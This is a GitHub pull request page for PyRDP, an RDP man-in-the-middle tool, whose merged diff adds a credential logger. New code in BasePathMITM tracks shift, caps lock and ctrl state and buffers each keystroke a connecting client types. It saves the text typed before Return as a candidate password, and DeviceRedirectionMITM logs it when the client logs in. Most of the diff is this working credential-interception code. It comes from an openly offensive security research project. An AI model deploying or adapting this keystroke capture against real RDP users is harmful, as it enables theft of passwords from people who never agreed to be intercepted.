Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added credential logger #106

Merged
merged 7 commits into from
Jul 2, 2019
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
62 changes: 62 additions & 0 deletions pyrdp/mitm/BasePathMITM.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,62 @@
#
# This file is part of the PyRDP project.
# Copyright (C) 2019 GoSecure Inc.
# Licensed under the GPLv3 or later.
#

from pyrdp.mitm.state import RDPMITMState
from pyrdp.player import keyboard
from pyrdp.enum import ScanCode
from pyrdp.pdu.pdu import PDU
from pyrdp.layer.layer import Layer


class BasePathMITM:
"""
Base MITM component for the fast-path and slow-path layers.
"""

def __init__(self, state: RDPMITMState, client: Layer, server: Layer):
self.state = state
self.client = client
self.server = server

def onClientPDUReceived(self, pdu: PDU):
raise NotImplementedError("onClientPDUReceived must be overridden")

def onServerPDUReceived(self, pdu: PDU):
raise NotImplementedError("onServerPDUReceived must be overridden")

def onScanCode(self, scanCode: int, isReleased: bool, isExtended: bool):
"""
Handle scan code.
"""
keyName = keyboard.getKeyName(scanCode, isExtended, self.state.shiftPressed, self.state.capsLockOn)
scanCodeTuple = (scanCode, isExtended)

# Left or right shift
if scanCodeTuple in [ScanCode.LSHIFT, ScanCode.RSHIFT]:
self.state.shiftPressed = not isReleased
# Caps lock
elif scanCodeTuple == ScanCode.CAPSLOCK and not isReleased:
self.state.capsLockOn = not self.state.capsLockOn
# Control
elif scanCodeTuple in [ScanCode.LCONTROL, ScanCode.RCONTROL]:
self.state.ctrlPressed = not isReleased
# Backspace
elif scanCodeTuple == ScanCode.BACKSPACE and not isReleased:
self.state.inputBuffer += "<\\b>"
# Tab
elif scanCodeTuple == ScanCode.TAB and not isReleased:
self.state.inputBuffer += "<\\t>"
# CTRL + A
elif scanCodeTuple == ScanCode.KEY_A and self.state.ctrlPressed and not isReleased:
self.state.inputBuffer += "<ctrl-a>"
# Return
elif scanCodeTuple == ScanCode.RETURN and not isReleased:
self.state.credentialsCandidate = self.state.inputBuffer
self.state.inputBuffer = ""
# Normal input
elif len(keyName) == 1:
if not isReleased:
self.state.inputBuffer += keyName
26 changes: 24 additions & 2 deletions pyrdp/mitm/DeviceRedirectionMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -11,12 +11,13 @@
from typing import Dict, Optional, Union

from pyrdp.core import FileProxy, ObservedBy, Observer, Subject
from pyrdp.enum import CreateOption, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \
from pyrdp.enum import CreateOption, DeviceRedirectionPacketID, DeviceType, DirectoryAccessMask, FileAccessMask, FileAttributes, \
FileCreateDisposition, FileCreateOptions, FileShareAccess, FileSystemInformationClass, IOOperationSeverity, \
MajorFunction, MinorFunction
from pyrdp.layer import DeviceRedirectionLayer
from pyrdp.mitm.config import MITMConfig
from pyrdp.mitm.FileMapping import FileMapping, FileMappingDecoder, FileMappingEncoder
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import DeviceAnnounce, DeviceCloseRequestPDU, DeviceCloseResponsePDU, DeviceCreateRequestPDU, \
DeviceCreateResponsePDU, DeviceDirectoryControlResponsePDU, DeviceIORequestPDU, DeviceIOResponsePDU, \
DeviceListAnnounceRequest, DeviceQueryDirectoryRequestPDU, DeviceQueryDirectoryResponsePDU, DeviceReadRequestPDU, \
Expand Down Expand Up @@ -53,7 +54,7 @@ class DeviceRedirectionMITM(Subject):
FORGED_COMPLETION_ID = 1000000


def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig):
def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLayer, log: LoggerAdapter, config: MITMConfig, state: RDPMITMState):
"""
:param client: device redirection layer for the client side
:param server: device redirection layer for the server side
Expand All @@ -64,6 +65,7 @@ def __init__(self, client: DeviceRedirectionLayer, server: DeviceRedirectionLaye

self.client = client
self.server = server
self.state = state
self.log = log
self.config = config
self.currentIORequests: Dict[int, DeviceIORequestPDU] = {}
Expand Down Expand Up @@ -128,6 +130,10 @@ def handlePDU(self, pdu: DeviceRedirectionPDU, destination: DeviceRedirectionLay
elif isinstance(pdu, DeviceListAnnounceRequest):
self.handleDeviceListAnnounceRequest(pdu)

elif isinstance(pdu, DeviceRedirectionPDU):
if pdu.packetID == DeviceRedirectionPacketID.PAKID_CORE_USER_LOGGEDON:
self.handleClientLogin()

if not dropPDU:
destination.sendPDU(pdu)

Expand Down Expand Up @@ -270,6 +276,22 @@ def handleCloseResponse(self, request: DeviceCloseRequestPDU, _: DeviceCloseResp
self.saveMapping()


def handleClientLogin(self):
"""
Handle events that should be triggered when a client logs in.
"""

if self.state.credentialsCandidate or self.state.inputBuffer:
self.log.info("Credentials candidate from heuristic: %(credentials_candidate)s", {"credentials_candidate" : (self.state.credentialsCandidate or self.state.inputBuffer) })

# Deactivate the logger for this client
self.state.loggedIn = True
self.state.shiftPressed = False
self.state.capsLockOn = False
self.state.credentialsCandidate = ""
self.state.inputBuffer = ""


def findNextRequestID(self) -> int:
"""
Find the next request ID to be returned for a forged request. Request ID's start from a different base than the
Expand Down
18 changes: 11 additions & 7 deletions pyrdp/mitm/FastPathMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -6,10 +6,12 @@

from pyrdp.layer import FastPathLayer
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import FastPathPDU
from pyrdp.pdu import FastPathPDU, FastPathScanCodeEvent
from pyrdp.player import keyboard
from pyrdp.enum import ScanCode
from pyrdp.mitm.BasePathMITM import BasePathMITM


class FastPathMITM:
class FastPathMITM(BasePathMITM):
"""
MITM component for the fast-path layer.
"""
Expand All @@ -20,10 +22,7 @@ def __init__(self, client: FastPathLayer, server: FastPathLayer, state: RDPMITMS
:param server: fast-path layer for the server side
:param state: the MITM state.
"""

self.client = client
self.server = server
self.state = state
super().__init__(state, client, server)

self.client.createObserver(
onPDUReceived = self.onClientPDUReceived,
Expand All @@ -37,6 +36,11 @@ def onClientPDUReceived(self, pdu: FastPathPDU):
if self.state.forwardInput:
self.server.sendPDU(pdu)

if not self.state.loggedIn:
for event in pdu.events:
if isinstance(event, FastPathScanCodeEvent):
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0)

def onServerPDUReceived(self, pdu: FastPathPDU):
if self.state.forwardOutput:
self.client.sendPDU(pdu)
18 changes: 11 additions & 7 deletions pyrdp/mitm/SlowPathMITM.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,13 +4,13 @@
# Licensed under the GPLv3 or later.
#

from pyrdp.enum import CapabilityType, OrderFlag, VirtualChannelCompressionFlag
from pyrdp.enum import CapabilityType, KeyboardFlag, OrderFlag, VirtualChannelCompressionFlag
from pyrdp.layer import SlowPathLayer, SlowPathObserver
from pyrdp.mitm.state import RDPMITMState
from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, SlowPathPDU
from pyrdp.pdu import Capability, ConfirmActivePDU, DemandActivePDU, InputPDU, KeyboardEvent, SlowPathPDU
from pyrdp.mitm.BasePathMITM import BasePathMITM


class SlowPathMITM:
class SlowPathMITM(BasePathMITM):
"""
MITM component for the slow-path layer.
"""
Expand All @@ -20,9 +20,7 @@ def __init__(self, client: SlowPathLayer, server: SlowPathLayer, state: RDPMITMS
:param client: slow-path layer for the client side
:param server: slow-path layer for the server side
"""
self.client = client
self.server = server
self.state = state
super().__init__(state, client, server)

self.clientObserver = self.client.createObserver(
onPDUReceived = self.onClientPDUReceived,
Expand All @@ -40,6 +38,12 @@ def onClientPDUReceived(self, pdu: SlowPathPDU):
if self.state.forwardInput:
self.server.sendPDU(pdu)

if not self.state.loggedIn:
if isinstance(pdu, InputPDU):
for event in pdu.events:
if isinstance(event, KeyboardEvent):
self.onScanCode(event.keyCode, event.flags & KeyboardFlag.KBDFLAGS_DOWN == 0, event.flags & KeyboardFlag.KBDFLAGS_EXTENDED != 0)

def onServerPDUReceived(self, pdu: SlowPathPDU):
SlowPathObserver.onPDUReceived(self.serverObserver, pdu)

Expand Down
2 changes: 1 addition & 1 deletion pyrdp/mitm/mitm.py
Original file line number Diff line number Diff line change
Expand Up @@ -297,7 +297,7 @@ def buildDeviceChannel(self, client: MCSServerChannel, server: MCSClientChannel)
LayerChainItem.chain(client, clientSecurity, clientVirtualChannel, clientLayer)
LayerChainItem.chain(server, serverSecurity, serverVirtualChannel, serverLayer)

deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config)
deviceRedirection = DeviceRedirectionMITM(clientLayer, serverLayer, self.getLog(MCSChannelName.DEVICE_REDIRECTION), self.config, self.state)
self.channelMITMs[client.channelID] = deviceRedirection

if self.attacker:
Expand Down
18 changes: 18 additions & 0 deletions pyrdp/mitm/state.py
Original file line number Diff line number Diff line change
Expand Up @@ -51,6 +51,24 @@ def __init__(self):
self.forwardOutput = True
"""Whether output from the server should be forwarded to the client"""

self.loggedIn = False
"""Keep tracks of the client login status"""

self.inputBuffer = ""
"""Used to store what the client types"""

self.credentialsCandidate = ""
"""The potential client password"""

self.shiftPressed = False
"""The current keyboard shift state"""

self.capsLockOn = False
"""The current keyboard capsLock state"""

self.ctrlPressed = False
"""The current keybaord ctrl state"""

self.securitySettings.addObserver(self.crypters[ParserMode.CLIENT])
self.securitySettings.addObserver(self.crypters[ParserMode.SERVER])

Expand Down
2 changes: 1 addition & 1 deletion pyrdp/player/PlayerEventHandler.py
Original file line number Diff line number Diff line change
Expand Up @@ -185,7 +185,7 @@ def onFastPathInput(self, pdu: PlayerPDU):
elif isinstance(event, FastPathMouseEvent):
self.onMouse(event)
elif isinstance(event, FastPathScanCodeEvent):
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & 2 != 0)
self.onScanCode(event.scanCode, event.isReleased, event.rawHeaderByte & keyboard.KBDFLAGS_EXTENDED != 0)


def onUnicode(self, event: FastPathUnicodeEvent):
Expand Down
3 changes: 3 additions & 0 deletions pyrdp/player/keyboard.py
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,9 @@
from PySide2.QtCore import Qt
from PySide2.QtGui import QKeyEvent

# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/089d362b-31eb-4a1a-b6fa-92fe61bb5dbf
KBDFLAGS_EXTENDED = 2

SCANCODE_MAPPING = {
Qt.Key.Key_Escape: 0x01,
Qt.Key.Key_1: 0x02,
Expand Down